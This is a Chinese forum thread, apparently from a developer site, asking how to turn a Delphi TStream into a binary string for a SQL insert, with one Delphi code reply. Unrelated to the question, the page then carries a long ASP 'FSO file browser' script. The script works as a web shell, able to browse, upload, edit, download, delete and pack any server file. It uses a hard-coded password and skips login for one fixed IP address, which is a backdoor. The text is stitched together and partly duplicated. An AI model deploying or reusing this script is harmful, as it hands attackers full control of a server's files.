2,497
社区成员
发帖
与我相关
我的任务
分享如何获取TStream的二进制字符串
因为，我要写sql语句如下
insert into table1 Fieldimage values Tstream.二进制字符串
谢谢！
insert into table1 Fieldimage values Tstream.二进制字符串
谢谢！
...全文
请发表友善的回复…
发表回复
linkyou 2004-04-27
- 打赏
- 举报
up
qingke21 2004-04-27
- 打赏
- 举报
var
sFilename:string;
Function BlobConnectTostring(const Filename:string):string;
begin
with TFileStream.Create(Filename,fmOpenRead) do
try
SetLength(result,size);
Read(pointer(result)^,size);
finally
Free;
end;
end;
begin
IF OpenPictureDialog1.Execute THEN
BEGIN
sFilename:=OpenPictureDialog1.FileName;
ADOQUERY.EDIT;
ADOQUERY.fIELBYNAME('AAA').VALUE:=BlobConnectTostring(sFilename);
adoquery.Post;
END;
end;
sFilename:string;
Function BlobConnectTostring(const Filename:string):string;
begin
with TFileStream.Create(Filename,fmOpenRead) do
try
SetLength(result,size);
Read(pointer(result)^,size);
finally
Free;
end;
end;
begin
IF OpenPictureDialog1.Execute THEN
BEGIN
sFilename:=OpenPictureDialog1.FileName;
ADOQUERY.EDIT;
ADOQUERY.fIELBYNAME('AAA').VALUE:=BlobConnectTostring(sFilename);
adoquery.Post;
END;
end;
<%
'========================== 版权声明 =========================
'本程序只供在需要特别处理服务器文件时使用，严禁用于非法目的
'由于非正当使用本程序而造成的一切后果及责任自负
'版本: v0.12
'作者: 河北科技大学 rssn | Risingsun,Hebust
'QQ: 126027268
'E-mail: rssn@163.com
'Date: 2006-8-12
'=============================================================
Server.ScriptTimeout=20
Session.Timeout=45 'Session有效时间
Const mss="explorer_" 'Session前缀
Const Password="knowsky" '登录密码
Const Copyright="FSO文件浏览器 - 系统磁盘信息
<% =Copyright %>
<%
End Sub
'新建
Sub NewF(ByVal Fname)
%>
FSO文件浏览器 - 新建
<script language="JavaScript">
function icheck()
{
if(document.rform.nname.value=="")
{
alert("请输入合法的文件名！");
return false;
}
else
return true;
}
<%
End Sub
'保存新建
Sub SaveNew(ByVal Fname)
If Not IsFolder(Fname) Then
Response.Write "<script language='javascript'>alert('文件夹不存在！');history.back();alert('文件或文件夹已存在！');history.back();alert('新建文件夹或文本文件成功！');window.close();alert('您编辑的不是文件或文件不存在！');window.close();Stream Then
FileStr=""
Else
FileStr=oFile.ReadAll()
End If
oFile.Close
Set oFile=Nothing
%>
FSO文件浏览器 - 编辑文本文件
<%
End Sub
'保存编辑文件
Sub SaveEdit(ByVal Fname)
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,2,True)
FileStr=Request.Form("filestr")
'Response.Write FileStr
oFile.Write FileStr
oFile.Close
Set oFile=Nothing
EchoBack "保存编辑文件成功！"
End Sub
'复制或剪切文件
Sub SetFile(ByVal Fname,ByVal iMode)
Session(mss & "setfile")=Fname
Session(mss & "setmode")=iMode
Dim ww
If 0=iMode Then
ww="复制"
Else
ww="剪切"
End If
EchoClose ww&"成功，请粘贴！"
End Sub
'粘贴文件或文件夹
Sub Parse(ByVal Fname)
Dim oFile,oFolder
Dim sName,iMode
sName=Session(mss & "setfile")
iMode=Session(mss & "setmode")
If sName="" Then
EchoClose "请先复制或剪切！"
Else
If InStr(LCase(Fname), LCase(sName)) > 0 Then
EchoClose "目标文件夹在源文件夹内,非法操作！"
Exit Sub
End If
'================
If Not IsFolder(Fname) Then
EchoClose "目标文件夹不存在！"
ElseIf IsFile(sName) Then
Set oFile=oFso.GetFile(sName)
If iMode=0 Then
oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
Else
oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
End If
ElseIf IsFolder(sName) Then
Set oFolder=oFso.GetFolder(sName)
If iMode=0 Then
oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
Else
oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
End If
Else
EchoClose "源文件或文件夹不存在！"
Exit Sub
End If
'================
EchoClose "复制或移动成功！刷新可查看效果"
End If
Session(mss & "setfile")=""
Session(mss & "setmode")=0
End Sub
'下载文件
Sub Download(ByVal Fname)
Dim oFile
If Not IsFile(Fname) Then
EchoClose "不是文件或文件不存在！"
Exit Sub
End If
Set oFile=oFso.GetFile(Fname)
If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then
Dim FileVName
FileVName=Replace(oFile.Path,Server.MapPath("/"),"")
FileVName=Replace(FileVName,"\","/")
If Left(FileVName,1)<>"/" Then
FileVName="/"&FileVName
End If
Response.Redirect FileVName
Exit Sub
End If
If oFile.Size>1048576*100 Then
EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载"
Exit Sub
End If
Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载
Dim oStream
Set oStream=Server.CreateObject("ADODB.Stream")
oStream.Open
oStream.Type=1
oStream.LoadFromFile(Fname)
Dim Data
Data=oStream.Read
oStream.Close
Set oStream=Nothing
If Not Response.IsClientConnected Then
Set Data=Nothing
Exit Sub
End If
Response.Buffer=True
Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name
Response.AddHeader "Content-Length", oFile.Size
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite Data
Response.Flush
End Sub
'删除文件
Sub Deletes(ByVal Fname)
If IsFile(Fname) Then
oFso.DeleteFile Fname,True
ElseIf IsFolder(Fname) Then
oFso.DeleteFolder Fname,True
Else
EchoClose "文件或文件夹不存在"
Exit Sub
End If
EchoClose "文件删除成功！"
End Sub
'上传文件
Sub Upload(ByVal Fname)
If Not IsFolder(Fname) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
%>
FSO文件浏览器 - 文件上传
<script language="JavaScript">
function getSaveName()
{
var filepath=document.uform.upload.value;
if(filepath.length<1) return;
var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length);
document.uform.ffname.value=filename;
}
<%
End Sub
'保存上传文件
Sub Saveupload(ByVal FolderName)
If Not IsFolder(FolderName) Then
EchoClose "没有指定上传的文件夹！"
Exit Sub
End If
Dim Path,IsOverWrite
Path=FolderName
If Right(Path,1)<>"\" Then Path=Path&"\"
FileName=Replace(Request("filename"),"\","")
If Len(FileName)<1 Then
EchoBack "请选择文件并输入文件名！"
Exit Sub
End If
Path=Path&FileName
If LCase(Request("overwrite"))="true" Then
IsOverWrite=True
Else
IsOverWrite=False
End If
On Error Resume Next
Call MyUpload(Path,IsOverWrite)
If Err Then
EchoBack "文件上传失败！（可能是文件已存在）"
Else
EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
End If
End Sub
'文件上传核心代码
Sub MyUpload(FilePath,IsOverWrite)
Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
RequestSize=Request.TotalBytes
If RequestSize<1 Then Exit Sub
Set oStream=Server.CreateObject("ADODB.Stream")
Set tStream=Server.CreateObject("ADODB.Stream")
With oStream
.Type=1
.Mode=3
.Open
.Write=Request.BinaryRead(RequestSize)
.Position=0
sData=.Read
bCrLf=ChrB(13)&ChrB(10)
iSpaceEnd=InStrB(sData,bCrLf)-1
sSpace=LeftB(sData,iSpaceEnd)
iInfoStart=iSpaceEnd+3
iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
iFileStart=iInfoEnd+5
iFileEnd=InStrB(iFileStart,sData,sSpace)-3
sData="" '清空文件数据
iFileSize=iFileEnd-iFileStart+1
tStream.Type=1
tStream.Mode=3
tStream.Open
.Position=iFileStart-1
.CopyTo tStream,iFileSize
If IsOverWrite Then
tStream.SaveToFile FilePath,2
Else
tStream.SaveToFile FilePath
End If
tStream.Close
.Close
End With
Set tStream=Nothing
Set oStream=Nothing
End Sub
'显示文件属性
Sub Prop(Fname)
On Error Resume Next
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
Set oAttrib=New FileAttrib_Cls
oAttrib.Attrib=obj.Attributes
%>
FSO文件浏览器 - 文件属性
<script language="javascript">
function ww(obj)
{
return false;
}
<%
End Sub
'修改属性
Sub SaveProp(Fname)
Dim Attribs,Attrib
Attribs=Replace(Request.Form("att")," ","")
Attribs=Split(Attribs,",")
Attrib=0
Dim i
For i=0 To UBound(Attribs)
Attrib=Attrib+Attribs(i)
Next
'Response.Write Attrib
'Exit Sub
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
If obj.IsRootFolder Then
EchoClose "不能修改根目录属性！"
Exit Sub
End If
obj.Attributes=Attrib
EchoBack "修改文件属性成功！"
End Sub
'转到上一级文件夹
Sub DirUp()
Dim oFolder,ssFname
If IsFolder(Request("fname")) Then
Set oFolder=oFso.GetFolder(Request("fname"))
If oFolder.IsRootFolder Then
'转至显示驱动器页面
Call Drive()
Exit Sub
Else
ssFname=oFolder.ParentFolder.Path
Set oFolder=Nothing
Call DirList(ssFname)
End If
Else
If IsFile(Request("fname")) Then
'文件下载
Else
Response.Write "文件夹或文件不存在！"
End If
End If
End Sub
'更改文件名页面
Sub Rename()
Dim Fname,sName
Fname=Request("fname")
If IsFolder(Fname) Then
sName=oFso.GetFolder(Fname).Name
Else
If IsFile(Fname) Then
sName=oFso.GetFile(Fname).Name
Else
Response.Write "文件或文件夹不存在！"
Exit Sub
End If
End If
%>
FSO文件浏览器 - 重命名
<script language="JavaScript">
function icheck()
{
if(document.cform.toname.value=="")
{
alert("请输入合法的文件名！");
return false;
}
else
return true;
}
<%
End Sub
'更改文件名操作
Sub SaveRename()
Dim Fname,oFolder,oFile,FDir,ToName
Fname=Request("fname")
ToName=Replace(Request("toname"),"\","")
If IsFolder(Fname) Then
Set oFolder=oFso.GetFolder(Fname)
Fname=oFolder.Path
If Right(Fname,1)="\" Then
Fname=Left(Fname,Len(Fname)-1)
End If
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFolder Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件夹更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
If IsFile(Fname) Then
Set oFile=oFso.GetFile(Fname)
Fname=oFile.Path
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFile Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
End Sub
'文件打包/解包页面
Sub Page_Pack()
Dim vp,vu
vp=Request("pname")
vu=Request("uname")
If Right(vu,4)<>".mdb" Then
vu=Server.MapPath("/rs_pack.mdb")
End If
%>
FSO文件浏览器 - 文件打包/解包
<%
End Sub
'文件夹内容列表 ========== Dirlist
Sub Dirlist(ByVal Fpath)
If IsFile(Fpath) Then
'下载该文件
Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();
FSO文件浏览器
<script language="JavaScript">
var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹
var fselected="";
function opendial(sUrl) //打开对话框窗口
{
var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400");
return newWin;
}
function fopen(sfname) //打开文件夹或文件
{
location.href="?page=fso&fname="+escape(sfname);
}
function fselect(obj) //选中文件夹或文件
{
var flen=document.all("f").length;
for(var i=0;i
<% =Copyright %>FSO文件浏览器 - 用户登录
<% =Copyright %>
<%
End Sub
'用户登录验证
Sub LoginChk()
If Request.Form("password")<>Password Then
EchoBack "一夫当关，万夫莫开，您的密码不正确！"
Exit Sub
Else
Session(mss & "IsAdminlogin")=True
Response.Redirect "?page=fso"
End If
End Sub
'用户退出
Sub Logout()
Session(mss & "IsAdminlogin")=False
Response.Redirect "?"
End Sub
'显示一个图片
Sub Page_Img()
Dim HexStr
HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B"
Response.ContentType="IMAGE/GIF"
WriteBytes HexStr
End Sub
'输出Css
Sub Page_Css()
%>
body
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
input,select,textarea
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
color: #000000;
}
a:link
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:active
{
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
}
a:hover
{
font-size: 12px;
color: #FF7F24;
text-decoration: underline;
}
hr { height:1px; color:#6595D6; }
table
{
BORDER-COLLAPSE: collapse;
}
table.border
{
border: 1px solid #6595D6;
}
td
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
td.border
{
border: 1px solid #6595D6;
}
td.inner
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
}
th
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #FFFFFF;
height:25px;
background-color:#427FBB;
background-image:url(?page=img);
}
th.border
{
border: 1px solid #6595D6;
}
.b { width:55px; height:22px; font-size:12px; }
<%
End Sub
'================ Functions ==================
Function IsFolder(ByVal fname)
IsFolder=oFso.FolderExists(fname)
End Function
Function IsFile(ByVal fname)
IsFile=oFso.FileExists(fname)
End Function
'字节数统计 Bytes
Function SizeCount(ByVal iSize)
On Error Resume Next
Dim size,showsize
size=iSize
showsize=size & " Byte"
if size>1024 then
size=(Size/1024)
showsize=formatnumber(size,3) & " KB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " MB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " GB"
end if
SizeCount = showsize
End Function
'16进制字符转10进制数字
Function Hex2Num(v)
Dim w
If IsNumeric(v) Then
w=Int(v)
Else
Select Case UCase(v)
Case "A": w=10
Case "B": w=11
Case "C": w=12
Case "D": w=13
Case "E": w=14
Case "F": w=15
Case Else: w=0
End Select
End If
Hex2Num=w
End Function
'取得字节字符串的数值
Function Byte2Num(sByte)
Dim b1,b2
b1=Left(sByte,1)
b2=Right(sByte,1)
Byte2Num=Hex2Num(b1)*16+Hex2Num(b2)
End Function
'将16进制字节字符串输出为二进制数据
Function WriteBytes(sBytes)
Dim sByte,i
sByte=Split(sBytes," ")
For i=0 To UBound(sByte)-1
Response.BinaryWrite ChrB(Byte2Num(sByte(i)))
Next
End Function
'获得文件图标
Function getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>·"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>Ÿ"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End Function
'获得磁盘类型
Function getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移动磁盘"
Case 2
getDriveType = "本地硬盘"
Case 3
getDriveType = "网络磁盘"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盘"
End Select
End Function
'判断是否为脚本文件
Function IsScriptFile(Ext)
Const ScriptExts="asp,aspx,asa,php"
IsScriptFile=False
Dim FileExt,Exts
FileExt=LCase(Ext)
Exts=Split(ScriptExts,",")
Dim i
For i=0 To UBound(Exts)-1
If Exts(i)=FileExt Then
IsScriptFile=True
Exit Function
End If
Next
IsScriptFile=False
End Function
'返回消息并关闭
Sub EchoClose(msg)
Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();alert("""&msg&""");history.back();=2048 Then
c=1
v=v Mod 2048
End If
If v>=1024 Then
al=1
v=v Mod 64
End If
If v>=32 Then
a=1
v=v Mod 32
End If
If v>=16 Then
d=1
v=v Mod 8
End If
If v>=4 Then
s=1
v=v Mod 4
End If
If v>=2 Then
h=1
v=v Mod 2
End If
If v>=1 Then
r=1
End If
End Property
End Class
'============================ 文件打包及解包过程 =============================
'文件打包
Sub Pack(ByVal FPath, ByVal sDbPath)
Server.ScriptTimeOut=900
Dim DbPath
If Right(sDbPath,4)=".mdb" Then
DbPath=sDbPath
Else
DbPath=sDbPath&".mdb"
End If
If oFso.FolderExists(DbPath) Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
If oFso.FileExists(DbPath) Then
oFso.DeleteFile DbPath
End If
If IsFolder(FPath) Then
RootPath=GetParentFolder(FPath)
If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
Else
EchoBack "请输入文件夹路径！"
Exit Sub
End If
Dim oCatalog,connStr,DataName
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set oCatalog=Server.CreateObject("ADOX.Catalog")
Set rs=Server.CreateObject("ADODB.RecordSet")
On Error Resume Next
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
oCatalog.Create connStr
If Err Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
Set oCatalog=Nothing
conn.Open connStr
conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
oStream.Open
oStream.Type=1
rs.Open "Files",conn,3,3
DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
FailFileList="" '打包失败的文件列表
PackFolder FPath
If FailFilelist="" Then
EchoClose "文件夹打包成功！"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹（递归） Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误，无法创建改目录！" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误！" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹（递归） Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
"
'版权信息
Dim T1,T2,Runtime
T1=Timer()
Dim oFso
Set oFso=Server.CreateObject("Scripting.FileSystemObject")
'-------------------------------------------------------------
'声明函数中所需的全局变量
Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList
NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|"
'-------------------------------------------------------------
Call Main()
Set oFso=Nothing
'======================== Subs Begin =========================
Sub Main()
Select Case Request("page")
Case "img"
Call Page_Img()
Case "css"
Call Page_Css()
Case "loginchk"
Call LoginChk()
Case "logout"
Call Logout()
Case Else:
'"一夫当关，万夫莫开"——用户验证
If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then
'已登录
Else
Call Login()
Exit Sub
End If
Select Case Request("act")
Case "drive"
Call Drive()
Case "up"
Call DirUp()
Case "new"
Call NewF(Request("fname"))
Case "savenew"
Call SaveNew(Request("fname"))
Case "rename"
Call Rename()
Case "saverename"
Call SaveRename()
Case "edit"
Call Edit(Request("fname"))
Case "saveedit"
Call SaveEdit(Request("fname"))
Case "delete"
Call Deletes(Request("fname"))
Case "copy"
Call SetFile(Request("fname"),0)
Case "cut"
Call SetFile(Request("fname"),1)
Case "download"
Call Download(Request("fname"))
Case "upload"
Call Upload(Request("fname"))
Case "saveupload"
Call Saveupload(Request("fname"))
Case "parse"
Call Parse(Request("fname"))
Case "prop"
Call Prop(Request("fname"))
Case "saveprop"
Call SaveProp(Request("fname"))
Case "pack"
Call Page_Pack()
Case "savepack"
Call Pack(Request("fpath"),Request("dbpath"))
Case "saveunpack"
Call UnPack(Request("fpath"),Request("dbpath"))
Case Else
If Request("fname")="" Then
Call Dirlist(Server.MapPath("./"))
Else
Call Dirlist(Request("fname"))
End If
End Select
End Select
End Sub
'========== Subs =============
'显示系统磁盘信息
Sub Drive()
Dim oDrive,Islight
%>
| FSO文件浏览器 - 系统磁盘信息 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
| FSO文件浏览器 - 文件打包/解包 |
|---|
| FSO文件浏览器 | |||
|---|---|---|---|
|
<% =Copyright %>
<%
T2=Timer()
Runtime=(T2-T1)*1000
Response.Write "Page Processed in "&Runtime&" Mili-seconds"
%>
<%
End Sub
'用户登录
Sub Login()
%>
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹（递归） Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误，无法创建改目录！" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误！" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹（递归） Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
